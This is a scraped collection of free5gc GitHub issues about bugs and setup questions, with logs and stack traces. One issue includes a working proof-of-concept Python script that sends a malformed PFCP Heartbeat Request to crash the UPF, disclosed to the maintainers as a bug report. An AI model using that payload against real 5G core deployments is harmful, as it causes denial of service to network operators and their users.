time="2023-09-22T03:24:52.058307700+08:00" level="fatal" msg="panic: runtime error: slice bounds out of range [6:4]\ngoroutine 6 [running]:\nruntime/debug.Stack()\n\t/snap/go/10339/src/runtime/debug/stack.go:24 +0x5e\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x4a\npanic({0x84f480?, 0xc0001c4318?})\n\t/snap/go/10339/src/runtime/panic.go:914 +0x21f\ngithub.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc00028f578?, 0xc00028f570?, 0x7f0972c4e640?})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/[email protected]/ie/ie.go:637 +0x185\ngithub.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc0002935c0, {0xc00028f570, 0x10, 0x10})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/[email protected]/message/heartbeat-request.go:101 +0xb3\ngithub.com/wmnsk/go-pfcp/message.Parse({0xc00028f570, 0x10, 0x10})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/[email protected]/message/message.go:117 +0x325\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc0005ba0d0, 0xc00007a9d0)\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x48b\ncreated by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start in goroutine 1\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xb8\n" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
```
|
[Bugs] UPF crash caused by malformed PFCP messages whose 1st IE length is mutated to zero
|
https://api.github.com/repos/free5gc/free5gc/issues/483/comments
| 4 |
2023-09-22T03:19:07Z
|
2023-11-26T13:11:19Z
|
https://github.com/free5gc/free5gc/issues/483
| 1,908,115,920 | 483 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
While testing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when it receives special kind of PFCP messages (the secondary IE type is larger than 0x7fff). This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash.
## To Reproduce
Steps to reproduce the behavior:
1. Build the UPF with source code
2. Run the bin/upf with default config/upfcfg.yaml
3. Run the following POC python script
```python
#!/usr/bin/env python3
import socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.settimeout(1.0)
pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00'
"""
PFCP Heartbeat Request with a second IE whose type is 0xffff (larger than 0x7fff)
"""
pfcp_heartbeat_request = b'\x20\x01\x00\x0f\x00\x00\x00\xff\xff\xff\x00\x00\x60\x00\x04\xe8\x1f\xdc\x30'
udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.close()
```
## Expected behavior
Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check this kind of PFCP messages whose second IE type is larger than 0x7ffff, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF.
## Screenshots
No special screenshot is provided.
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04
- Kernel version: 5.4.5-050405-generic
- go version: go1.21.1 linux/amd64
## Trace File
### Configuration File
No specific configuration is required.
### PCAP File
No specific pcap file is provided.
### Log File
```bash
time="2023-09-22T03:25:30.099608396+08:00" level="info" msg="UPF version: \n\tNot specify ldflags (which link version) during go build\n\tgo version: go1.21.1 linux/amd64" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.099702825+08:00" level="info" msg="Read config from [upfcfg.yaml]" CAT="CFG" NF="UPF"
time="2023-09-22T03:25:30.102422644+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF"
time="2023-09-22T03:25:30.102461710+08:00" level="info" msg="(*factory.Config)(0xc0004bb0e0)({\n\tVersion: (string) (len=5) \"1.0.3\",\n\tDescription: (string) (len=31) \"UPF initial local configuration\",\n\tPfcp: (*factory.Pfcp)(0xc00042d470)({\n\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\tNodeID: (string) (len=9) \"127.0.0.8\",\n\t\tRetransTimeout: (time.Duration) 1s,\n\t\tMaxRetrans: (uint8) 3\n\t}),\n\tGtpu: (*factory.Gtpu)(0xc00042d980)({\n\t\tForwarder: (string) (len=5) \"gtp5g\",\n\t\tIfList: ([]factory.IfInfo) (len=1 cap=1) {\n\t\t\t(factory.IfInfo) {\n\t\t\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\t\t\tType: (string) (len=2) \"N3\",\n\t\t\t\tName: (string) \"\",\n\t\t\t\tIfName: (string) \"\",\n\t\t\t\tMTU: (uint32) 0\n\t\t\t}\n\t\t}\n\t}),\n\tDnnList: ([]factory.DnnList) (len=1 cap=1) {\n\t\t(factory.DnnList) {\n\t\t\tDnn: (string) (len=8) \"internet\",\n\t\t\tCidr: (string) (len=12) \"10.60.0.0/24\",\n\t\t\tNatIfName: (string) \"\"\n\t\t}\n\t},\n\tLogger: (*factory.Logger)(0xc000023c40)({\n\t\tEnable: (bool) true,\n\t\tLevel: (string) (len=4) \"info\",\n\t\tReportCaller: (bool) false\n\t})\n})\n" CAT="CFG" NF="UPF"
time="2023-09-22T03:25:30.102518017+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF"
time="2023-09-22T03:25:30.102550910+08:00" level="info" msg="Log level is set to [info]" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.102559413+08:00" level="info" msg="Report Caller is set to [false]" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.114437499+08:00" level="info" msg="starting Gtpu Forwarder [gtp5g]" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.114705992+08:00" level="info" msg="GTP Address: \"127.0.0.8:2152\"" CAT="Main" NF="UPF"
time="2023-09-22T03:25:30.133751688+08:00" level="info" msg="buff netlink server started" CAT="BUFF" NF="UPF"
time="2023-09-22T03:25:30.133860807+08:00" level="info" msg="perio server started" CAT="Perio" NF="UPF"
time="2023-09-22T03:25:30.133875168+08:00" level="info" msg="Forwarder started" CAT="Gtp5g" NF="UPF"
time="2023-09-22T03:25:30.135060078+08:00" level="info" msg="starting pfcp server" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:25:30.135468767+08:00" level="info" msg="pfcp server started" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:25:30.135481293+08:00" level="info" msg="UPF started" CAT="Main" NF="UPF"
time="2023-09-22T03:25:44.317661998+08:00" level="info" msg="handleAssociationSetupRequest" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:25:44.317826268+08:00" level="info" msg="New node" CAT="PFCP" CPNodeID="10.100.200.100" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:25:44.318770003+08:00" level="fatal" msg="panic: runtime error: slice bounds out of range [7:5]\ngoroutine 17 [running]:\nruntime/debug.Stack()\n\t/snap/go/10339/src/runtime/debug/stack.go:24 +0x5e\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x4a\npanic({0x84f480?, 0xc0001c0150?})\n\t/snap/go/10339/src/runtime/panic.go:914 +0x21f\ngithub.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc0001c0140?, 0xc0001c0138?, 0x7f29fbf11548?})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/[email protected]/ie/ie.go:637 +0x185\ngithub.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc000182630, {0xc0001c0138, 0x15, 0x15})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/[email protected]/message/heartbeat-request.go:101 +0xb3\ngithub.com/wmnsk/go-pfcp/message.Parse({0xc0001c0138, 0x15, 0x15})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/[email protected]/message/message.go:117 +0x325\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc0001de0d0, 0xc0001d60d0)\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x48b\ncreated by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start in goroutine 1\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xb8\n" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
```
|
[Bugs] UPF crash caused by PFCP messages whose 2rd IE type larger than 0x7fff
|
https://api.github.com/repos/free5gc/free5gc/issues/482/comments
| 3 |
2023-09-22T02:57:53Z
|
2023-11-02T04:51:21Z
|
https://github.com/free5gc/free5gc/issues/482
| 1,908,102,486 | 482 |
[
"free5gc",
"free5gc"
] |
2023-09-21T14:52:26Z [INFO][LIB][Aper] set report call : false
2023-09-21T14:52:26Z [INFO][LIB][Path] set log level : info
2023-09-21T14:52:26Z [INFO][LIB][Path] set report call : false
2023-09-21T14:52:26Z [INFO][N3IWF][CFG] config version [1.0.0]
2023-09-21T14:52:26Z [INFO][N3IWF][Init] Server started
2023-09-21T14:52:26Z [WARN][N3IWF][Context] No private key file path specified, load default key file...
2023-09-21T14:52:26Z [WARN][N3IWF][Context] Parse PKCS8 private key failed: x509: failed to parse private key (use ParsePKCS1PrivateKey instead for this key format)
2023-09-21T14:52:26Z [INFO][N3IWF][Context] Parse using PKCS1...
2023-09-21T14:52:26Z [WARN][N3IWF][Context] No certificate authority file path specified, load default CA certificate...
2023-09-21T14:52:26Z [WARN][N3IWF][Context] No certificate file path specified, load default certificate...
2023-09-21T14:52:26Z [ERRO][N3IWF][NGAP] [SCTP] DialSCTP(): connection refused
2023-09-21T14:52:26Z [INFO][N3IWF][NGAP] Retry to connect AMF after 1 second...
2023-09-21T14:52:27Z [ERRO][N3IWF][NGAP] [SCTP] DialSCTP(): connection refused
2023-09-21T14:52:27Z [INFO][N3IWF][NGAP] Retry to connect AMF after 1 second...
2023-09-21T14:52:28Z [ERRO][N3IWF][NGAP] [SCTP] DialSCTP(): connection refused
2023-09-21T14:52:28Z [ERRO][N3IWF][NGAP] Failed to connect to AMF.
|
[Bugs]测试可以通过，但是运行./run.sh出现这个错误怎么办
|
https://api.github.com/repos/free5gc/free5gc/issues/481/comments
| 1 |
2023-09-21T14:59:45Z
|
2023-10-06T12:15:17Z
|
https://github.com/free5gc/free5gc/issues/481
| 1,907,189,988 | 481 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
CHF NF is not included in submodules
## To Reproduce
ls ./NFs/
## Expected behavior
Find CHF submodule
|
[Bugs] Add CHF NF submodule
|
https://api.github.com/repos/free5gc/free5gc/issues/480/comments
| 4 |
2023-09-11T14:56:41Z
|
2023-09-25T03:32:19Z
|
https://github.com/free5gc/free5gc/issues/480
| 1,890,703,649 | 480 |
[
"free5gc",
"free5gc"
] |
As the title, can I send an api to AMF to delete the pdu session
As the specification says, the API below
`/namf-comm/v1/ue-contexts/imsi-208930000000004/release`
If so, can you please provide me with the payload and process I should enter?
Thanks
|
[Question] Can I send API to 5gc AMF to delete pdu session?
|
https://api.github.com/repos/free5gc/free5gc/issues/479/comments
| 2 |
2023-09-05T08:25:43Z
|
2023-09-08T04:45:09Z
|
https://github.com/free5gc/free5gc/issues/479
| 1,881,469,749 | 479 |
[
"free5gc",
"free5gc"
] |
Is it possible to connect n3iwf to real UE using free5gc?
If you have any achievements, please let us know.
Actually, I wanted to check it on the forum, but it seems that the forum is under maintenance, so I'm asking here.
|
[Question] Is it possible to connect n3iwf to real UE using free5gc?
|
https://api.github.com/repos/free5gc/free5gc/issues/477/comments
| 1 |
2023-08-26T14:06:12Z
|
2023-09-11T01:49:33Z
|
https://github.com/free5gc/free5gc/issues/477
| 1,868,109,398 | 477 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
Hello, I follow the installation instructions https://free5gc.org/guide/3-install-free5gc/ to install according to the steps, the version is 3.3.0, there is no error in the process, except that there will be warnings during the webconsole installation process, such as As shown in the first picture, but I don’t think this is the reason. When I execute the webconsole browser after the installation is complete, the browser will return 404
## To Reproduce
I follow the installation instruction https://free5gc.org/guide/3-install-free5gc/ Follow the steps to install until the last step，In order to execute the webconsole I execute the following command
`
cd /webconsole/bin
./webconsole
`
But it will report an error
So I copy a copy from /free5gc/config/webuicfg.yaml to webconsole/bin/config/webuicfg.yaml, config is a folder created by myself
execute it again
show
Looks like it was executed successfully，Then I try to go to the browser and enter http://10.20.1.7:5000/, 10.20.1.7 is the machine ip for my deployment service. After inputting, an error 404 page not found will be reported, as shown in the figure below
<img width="424" alt="圖片" src="https://github.com/free5gc/free5gc/assets/36353259/a1328982-5ca8-48cb-8bb2-614b3e2b90c0">
## Environment:
- free5GC Version:3.3.0
- OS: Ubuntu 20.04 Server
- Kernel version: 5.4.0-153-generic
- go version: go version go1.17.8 linux/amd64
Please let me know if you need any other information, thank you
|
[Bugs?] why does this even happen webconsole [404 page not found]
|
https://api.github.com/repos/free5gc/free5gc/issues/473/comments
| 8 |
2023-08-02T03:37:10Z
|
2023-08-14T05:39:29Z
|
https://github.com/free5gc/free5gc/issues/473
| 1,832,369,625 | 473 |
[
"free5gc",
"free5gc"
] |
Data Network Gateway settings are as described [here](https://github.com/s5uishida/install_vpp_upf_dpdk#setup-data-network-gateway-on-vm-dn).
On this DN/GW, NAPT and routing to the UE IP address are set as follows.
```
# iptables -t nat -A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE
# ip route add 10.60.0.0/16 via 192.168.16.151 dev enp0s9
```
`192.168.16.151` is the N6 IP address of VPP-UPF (oai-cn5g-upf-vpp).
After I set up the N6 as a DPDK NIC, I use the above command and get an error that there is no eth2 NIC, what can I do to set up the correct route?
|
how route N6 to UE
|
https://api.github.com/repos/free5gc/free5gc/issues/470/comments
| 1 |
2023-07-27T06:35:24Z
|
2023-07-27T09:11:11Z
|
https://github.com/free5gc/free5gc/issues/470
| 1,823,713,111 | 470 |
[
"free5gc",
"free5gc"
] |
There is pushback against upstreaming the 'gtp5g' module: https://lore.kernel.org/netdev/Yio5%2F+Ko77tu4Vi6@nataraja/T/#m888eb5eb3266987f326ed9ab4996a57bb23d5012
It is sometimes difficult to get an out of tree module applied to any platform (for example, sometimes platforms require signed modules)
free5gc should consider gracefully handling the absence of 'gtp5g' module
|
[Feat] Support UPF without 'gtp5g' module
|
https://api.github.com/repos/free5gc/free5gc/issues/469/comments
| 4 |
2023-07-26T17:15:49Z
|
2023-08-06T10:28:11Z
|
https://github.com/free5gc/free5gc/issues/469
| 1,822,839,027 | 469 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
Non3gpp UE does not have internet access
## To Reproduce
Reproducing is a bit involved. I used multipass to set up two vms with a bridge in between. Install the free5gc core on both vms. The vm being used as the core needs the n3iwfcfg.yaml modified. The IKEBindAddress needs set to the ip of the vm. Also add the test UE used in the non3gpp test through the webconsole. On the other, I simplified the test.sh to only use the non3gpp test and modified the var declaration at the top of the non3gpp_test.go. Specifically the n3iwfInfo_IPSecIfaceAddr, n3ueInfo_IPSecIfaceAddr, and n3ueInfo_IPSecIfaceName to the corresponding values of the vms. Running the test passes but if you make the UE stay alive by adding a sleep at the end of the test go file and turn off livenessCheck in the n3iwfcfg.yaml on the core vm, you only have access to things on the core vm such as the test address 10.60.0.101. ```ping google.com``` does not work. Note, during setup, the UE does not update the SQN on any connection attempt so you will need to modify in the webconsole or in the test data on the ue side.
## Expected behavior
I should be able to ping or curl or wget things on the web
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04 Server
- Kernel version: 5.4.x
- go version: go1.17
|
Non3gpp UE does not have internet access
|
https://api.github.com/repos/free5gc/free5gc/issues/468/comments
| 1 |
2023-07-25T17:32:01Z
|
2023-07-26T00:22:49Z
|
https://github.com/free5gc/free5gc/issues/468
| 1,820,806,600 | 468 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
When I follow the link(https://free5gc.org/guide/3-install-free5gc/) to install and run all tests, it shows pass but then have a error for all tests.([ERRO][UPF][Pfcp][10.200.200.101:8805] read udp 10.200.200.101:8805: use of closed network connection)
## To Reproduce
Steps to reproduce the behavior:
1. Change config: no change
2. Code patch: no change
3. Run command : ./test.sh TestRegistration etc
4. Dump packet: I don't have that.(How can I get it?)
## Expected behavior
Pass all tests in tutorial (https://free5gc.org/guide/4-test-free5gc/) and have no error.
## Screenshots
1.
./test.sh TestRegistration.
2.
./test.sh TestGUTIRegistration
3.
./test.sh TestNon3GPP
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 18.04
- Kernel version: 5.0.0-23-generic
- go version: go1.17.8 linux/amd64
- c compiler version (Option): gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
## Trace File
### Configuration File
no change
[config.zip](https://github.com/free5gc/free5gc/files/12035187/config.zip)
### PCAP File
[free5gc.zip](https://github.com/free5gc/free5gc/files/12035253/free5gc.zip)
(I compress free5gc.pcap into a .zip file)
### Log File
Provide the program log file here.
If not clear of what to do, copy the printed log on the screen and upload it here.
[TestNon3GPP.txt](https://github.com/free5gc/free5gc/files/12035238/TestNon3GPP.txt)
|
[Bugs]pass but have error when running all test
|
https://api.github.com/repos/free5gc/free5gc/issues/466/comments
| 1 |
2023-07-13T04:07:30Z
|
2023-07-31T09:11:41Z
|
https://github.com/free5gc/free5gc/issues/466
| 1,802,116,850 | 466 |
[
"free5gc",
"free5gc"
] |
Hi,
Apologize for a very basic question but does free5gc have support for 4G as well?
We're planning on using it for a project that would require both 4G and 5G connectivity so just wanted some clarification on this
Thanks
|
free5gc 4G support
|
https://api.github.com/repos/free5gc/free5gc/issues/465/comments
| 2 |
2023-07-12T11:46:16Z
|
2023-07-18T17:30:01Z
|
https://github.com/free5gc/free5gc/issues/465
| 1,800,802,581 | 465 |
[
"free5gc",
"free5gc"
] |
UE was connected able to see in free5gc GUI, Tunnel IP was assigned but PDU sessions was not establishing.
AMF logs:
root@free:~# kubectl logs core-free5gc-amf-amf-0
Defaulted container "amf" out of: amf, wait-nrf (init)
2023-07-04T15:51:53Z [INFO][AMF][CFG] config version [1.0.3]
2023-07-04T15:51:53Z [INFO][AMF][Init] AMF Log level is set to [info] level
2023-07-04T15:51:53Z [INFO][LIB][NAS] set log level : info
2023-07-04T15:51:53Z [INFO][LIB][NAS] set report call : false
2023-07-04T15:51:53Z [INFO][LIB][NGAP] set log level : info
2023-07-04T15:51:53Z [INFO][LIB][NGAP] set report call : false
2023-07-04T15:51:53Z [INFO][LIB][FSM] set log level : info
2023-07-04T15:51:53Z [INFO][LIB][FSM] set report call : false
2023-07-04T15:51:53Z [INFO][LIB][Aper] set log level : info
2023-07-04T15:51:53Z [INFO][LIB][Aper] set report call : false
2023-07-04T15:51:53Z [INFO][AMF][App] amf
2023-07-04T15:51:53Z [INFO][AMF][App] AMF version:
free5GC version: v3.1.1
build time: 2022-04-28T12:50:19Z
commit hash: 03f9848e
commit time: 2022-04-07T14:37:30Z
go version: go1.14.4 linux/amd64
2023-07-04T15:51:53Z [INFO][AMF][Init] Server started
2023-07-04T15:51:53Z [INFO][AMF][Util] amfconfig Info: Version[1.0.3] Description[AMF initial local configuration]
2023-07-04T15:51:53Z [INFO][AMF][NGAP] Listen on 10.244.120.89:38412
2023-07-04T15:52:50Z [INFO][AMF][Producer] [OAM] Handle Registered UE Context
2023-07-04T15:52:50Z [INFO][AMF][GIN] | 200 | 10.244.120.116 | GET | /namf-oam/v1/registered-ue-context |
2023-07-04T15:53:08Z [INFO][AMF][NGAP] [AMF] SCTP Accept from: 10.244.120.103:52107
2023-07-04T15:53:08Z [INFO][AMF][NGAP] Create a new NG connection for: 10.244.120.103:52107
2023-07-04T15:53:08Z [INFO][AMF][NGAP][10.244.120.103:52107] Handle NG Setup request
2023-07-04T15:53:08Z [INFO][AMF][NGAP][10.244.120.103:52107] Send NG-Setup response
2023-07-04T15:53:10Z [INFO][AMF][NGAP][10.244.120.103:52107] Handle Initial UE Message
2023-07-04T15:53:10Z [INFO][LIB][FSM] Handle event[Gmm Message], transition from [Deregistered] to [Deregistered]
2023-07-04T15:53:10Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1] Handle Registration Request
2023-07-04T15:53:10Z [INFO][LIB][FSM] Handle event[Start Authentication], transition from [Deregistered] to [Authentication]
2023-07-04T15:53:10Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1] Authentication procedure
2023-07-04T15:53:10Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1] Send Authentication Request
2023-07-04T15:53:10Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Send Downlink Nas Transport
2023-07-04T15:53:10Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Uplink NAS Transport (RAN UE NGAP ID: 1)
2023-07-04T15:53:10Z [INFO][LIB][FSM] Handle event[Gmm Message], transition from [Authentication] to [Authentication]
2023-07-04T15:53:10Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1] Handle Authentication Response
2023-07-04T15:53:11Z [INFO][LIB][FSM] Handle event[Authentication Success], transition from [Authentication] to [SecurityMode]
2023-07-04T15:53:11Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Send Security Mode Command
2023-07-04T15:53:11Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Send Downlink Nas Transport
2023-07-04T15:53:11Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Uplink NAS Transport (RAN UE NGAP ID: 1)
2023-07-04T15:53:11Z [INFO][LIB][FSM] Handle event[Gmm Message], transition from [SecurityMode] to [SecurityMode]
2023-07-04T15:53:11Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Handle Security Mode Complete
2023-07-04T15:53:11Z [INFO][LIB][FSM] Handle event[SecurityMode Success], transition from [SecurityMode] to [ContextSetup]
2023-07-04T15:53:11Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Handle InitialRegistration
2023-07-04T15:53:11Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] RequestedNssai - ServingSnssai: &{Sst:1 Sd:010203}, HomeSnssai: <nil>
2023-07-04T15:53:12Z [INFO][AMF][Comm] Handle AMF Status Change Subscribe Request
2023-07-04T15:53:12Z [INFO][AMF][Comm] new AMF Status Subscription[1]
2023-07-04T15:53:12Z [INFO][AMF][GIN] | 201 | 10.244.120.106 | POST | /namf-comm/v1/subscriptions |
2023-07-04T15:53:12Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Send Registration Accept
2023-07-04T15:53:12Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Send Initial Context Setup Request
2023-07-04T15:53:12Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Handle Initial Context Setup Response
2023-07-04T15:53:12Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Uplink NAS Transport (RAN UE NGAP ID: 1)
2023-07-04T15:53:12Z [INFO][LIB][FSM] Handle event[Gmm Message], transition from [ContextSetup] to [ContextSetup]
2023-07-04T15:53:12Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Handle Registration Complete
2023-07-04T15:53:12Z [INFO][LIB][FSM] Handle event[ContextSetup Success], transition from [ContextSetup] to [Registered]
2023-07-04T15:53:12Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Uplink NAS Transport (RAN UE NGAP ID: 1)
2023-07-04T15:53:12Z [INFO][LIB][FSM] Handle event[Gmm Message], transition from [Registered] to [Registered]
2023-07-04T15:53:12Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Handle UL NAS Transport
2023-07-04T15:53:12Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Transport 5GSM Message to SMF
2023-07-04T15:53:12Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Select SMF [snssai: {Sst:1 Sd:010203}, dnn: internet]
2023-07-04T15:53:13Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] create smContext[pduSessionID: 1] Success
2023-07-04T15:53:22Z [INFO][AMF][Producer] [OAM] Handle Registered UE Context
2023-07-04T15:53:22Z [INFO][AMF][GIN] | 200 | 10.244.120.116 | GET | /namf-oam/v1/registered-ue-context |
2023-07-04T15:53:24Z [INFO][AMF][Producer] [OAM] Handle Registered UE Context
2023-07-04T15:53:24Z [INFO][AMF][GIN] | 200 | 10.244.120.116 | GET | /namf-oam/v1/registered-ue-context/imsi-208930000000003 |
2023-07-04T15:53:28Z [INFO][AMF][NGAP][10.244.120.103:52107][AMF_UE_NGAP_ID:1] Uplink NAS Transport (RAN UE NGAP ID: 1)
2023-07-04T15:53:28Z [INFO][LIB][FSM] Handle event[Gmm Message], transition from [Registered] to [Registered]
2023-07-04T15:53:28Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Handle UL NAS Transport
2023-07-04T15:53:28Z [INFO][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Transport 5GSM Message to SMF
2023-07-04T15:53:28Z [WARN][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Duplicated PDU session ID[1]
2023-07-04T15:53:34Z [INFO][AMF][Producer] [OAM] Handle Registered UE Context
2023-07-04T15:53:34Z [INFO][AMF][GIN] | 200 | 10.244.120.116 | GET | /namf-oam/v1/registered-ue-context |
SMF logs :
root@free:~# kubectl logs core-free5gc-smf-smf-0
Defaulted container "smf" out of: smf, wait-nrf (init)
2023-07-04T15:52:06Z [INFO][SMF][CFG] SMF config version [1.0.2]
2023-07-04T15:52:06Z [INFO][SMF][CFG] UE-Routing config version [1.0.1]
2023-07-04T15:52:07Z [INFO][SMF][Init] SMF Log level is set to [info] level
2023-07-04T15:52:07Z [INFO][LIB][NAS] set log level : info
2023-07-04T15:52:07Z [INFO][LIB][NAS] set report call : false
2023-07-04T15:52:07Z [INFO][LIB][NGAP] set log level : info
2023-07-04T15:52:07Z [INFO][LIB][NGAP] set report call : false
2023-07-04T15:52:07Z [INFO][LIB][Aper] set log level : info
2023-07-04T15:52:07Z [INFO][LIB][Aper] set report call : false
2023-07-04T15:52:07Z [INFO][LIB][PFCP] set log level : info
2023-07-04T15:52:07Z [INFO][LIB][PFCP] set report call : false
2023-07-04T15:52:07Z [INFO][SMF][App] smf
2023-07-04T15:52:07Z [INFO][SMF][App] SMF version:
free5GC version: v3.1.1
build time: 2022-04-28T12:50:59Z
commit hash: 84c979a3
commit time: 2022-04-09T08:38:26Z
go version: go1.14.4 linux/amd64
2023-07-04T15:52:07Z [INFO][SMF][CTX] smfconfig Info: Version[1.0.2] Description[SMF initial local configuration]
2023-07-04T15:52:07Z [INFO][SMF][CTX] Endpoints: [core-free5gc-upf-upf-0.upf-service]
2023-07-04T15:52:07Z [INFO][SMF][Init] Server started
2023-07-04T15:52:07Z [INFO][SMF][Init] SMF Registration to NRF {7e1b2cf7-ac04-4e58-916d-03ea4e19ddae SMF REGISTERED 0 0xc0004082c0 0xc000408300 [] [] [smf-nsmf] [] <nil> [] [] <nil> 0 0 0 area1 <nil> <nil> <nil> <nil> 0xc000486200 <nil> <nil> <nil> <nil> <nil> map[] <nil> false 0xc000408080 false false []}
2023-07-04T15:52:07Z [INFO][SMF][PFCP] Listen on 10.244.120.73:8805
2023-07-04T15:52:07Z [INFO][SMF][App] Send PFCP Association Request to UPF[core-free5gc-upf-upf-0.upf-service](10.244.120.104)
2023-07-04T15:52:07Z [INFO][SMF][PFCP] In HandlePfcpAssociationSetupResponse
2023-07-04T15:52:07Z [INFO][SMF][PFCP] Handle PFCP Association Setup Response with NodeID[10.244.120.104]
2023-07-04T15:52:07Z [INFO][LIB][PFCP] Remove Request Transaction [1]
2023-07-04T15:52:07Z [INFO][SMF][PFCP] UPF(10.244.120.104)[{internet}] setup association
2023-07-04T15:53:12Z [INFO][SMF][PduSess] Receive Create SM Context Request
2023-07-04T15:53:12Z [INFO][SMF][PduSess] In HandlePDUSessionSMContextCreate
2023-07-04T15:53:12Z [INFO][SMF][PduSess] Send NF Discovery Serving UDM Successfully
2023-07-04T15:53:12Z [INFO][SMF][CTX] Allocated UE IP address: 10.1.0.1
2023-07-04T15:53:12Z [INFO][SMF][CTX] Selected UPF: UPF
2023-07-04T15:53:12Z [INFO][SMF][PduSess] UE[imsi-208930000000003] PDUSessionID[1] IP[10.1.0.1]
2023-07-04T15:53:12Z [INFO][SMF][GSM] In HandlePDUSessionEstablishmentRequest
2023-07-04T15:53:12Z [INFO][NAS][Convert] ProtocolOrContainerList: [0xc0003d9700 0xc0003d9740]
